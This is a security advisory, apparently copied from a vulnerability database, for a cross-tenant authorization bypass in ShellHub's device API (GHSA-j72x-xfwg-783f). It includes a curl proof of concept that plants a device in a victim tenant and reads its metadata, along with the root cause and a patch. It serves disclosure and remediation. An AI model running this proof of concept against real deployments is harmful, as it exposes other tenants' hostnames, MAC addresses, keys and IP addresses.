ShellHub has cross-tenant IDOR in `GET /api/devices/:uid` that discloses device data of any namespaceGHSA-j72x-xfwg-783f
MEDIUMGHSA-j72x-xfwg-783f is a medium-severity (CVSS 6.5) CWE-639 vulnerability in github.com/shellhub-io/shellhub. A fix is available for github.com/shellhub-io/shellhub — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-j72x-xfwg-783f.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
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Description
Summary
GET /api/devices/:uid returns the full device object whenever the caller is authenticated, without verifying that the device belongs to the caller's namespace (tenant). Any authenticated user (JWT or API Key) who knows or can guess a device UID can read device metadata from any other namespace.
Severity
CVSS 3.1: 7.5 (High) CWE-639 — Authorization Bypass Through User-Controlled Key
Affected versions
ShellHub Community v0.24.1 (validated). Likely all prior versions that share this handler.
Root cause
api/services/device.go:97-104 — GetDevice resolves the device by UID without scoping to the caller's tenant:
func (s *service) GetDevice(ctx context.Context, uid models.UID) (*models.Device, error) {
device, err := s.store.DeviceResolve(ctx, store.DeviceUIDResolver, string(uid))
// ⚠️ missing: s.store.Options().InNamespace(tenant)
...
}
Compare with DeleteDevice in the same file (line 137) which correctly applies InNamespace(tenant).
The Authorize middleware (api/routes/middleware/authorize.go:12-27) only checks that a tenant is present in the context — not that the resource belongs to that tenant.
Proof of concept (validated live against v0.24.1)
Pre-requisite: attacker has any valid user account and knows a target tenant_id (UUIDs frequently leak via UI URLs, email invites, support channels, or prior namespace membership).
ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \
-H 'Content-Type: application/json' \
-d '{"username":"attacker","password":"..."}' | jq -r .token)
TARGET_TENANT="<victim-tenant-uuid>"
# Plant a device in the victim tenant via the public device-auth endpoint
# (this also works when the victim already has devices and the attacker
# merely guessed/obtained a real UID via another vector)
VICTIM_UID=$(curl -s -X POST http://target/api/devices/auth \
-H 'Content-Type: application/json' \
-d "{
\"info\":{\"id\":\"x\",\"pretty_name\":\"x\",\"version\":\"v0.24.1\",\"arch\":\"amd64\",\"platform\":\"docker\"},
\"hostname\":\"poc\",
\"identity\":{\"mac\":\"aa:bb:cc:dd:ee:ff\"},
\"public_key\":\"-----BEGIN RSA PUBLIC KEY-----\\nx\\n-----END RSA PUBLIC KEY-----\",
\"tenant_id\":\"$TARGET_TENANT\"
}" | jq -r .uid)
# Read the device from a completely different tenant
curl -i "http://target/api/devices/$VICTIM_UID" \
-H "Authorization: Bearer $ATTACKER_TOKEN"
# Expected (fixed): HTTP 403/404
# Observed (v0.24.1): HTTP 200 + full device JSON (tenant_id, public_key, MAC,
# namespace name, OS info, last_seen, remote_addr, ...)
Impact
- Cross-tenant disclosure of device metadata: hostname, MAC, OS fingerprint, public SSH key, namespace name, last-seen timestamp, remote address.
- Enables namespace enumeration, device inventory reconnaissance of other tenants, and targeted follow-up attacks.
Suggested fix
In api/services/device.go GetDevice, extract tenant from context and apply InNamespace:
func (s *service) GetDevice(ctx context.Context, uid models.UID) (*models.Device, error) {
tenant := gateway.TenantFromContext(ctx)
opts := []store.QueryOption{}
if tenant != nil {
opts = append(opts, s.store.Options().InNamespace(tenant.ID))
}
device, err := s.store.DeviceResolve(ctx, store.DeviceUIDResolver, string(uid), opts...)
...
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/shellhub-io/shellhub | all versions | 0.24.2go get github.com/shellhub-io/shellhub@v0.24.2 |
Affected Products
shellhubshellhubDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/shellhub-io/shellhub, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/shellhub-io/shellhub to 0.24.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-j72x-xfwg-783f is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
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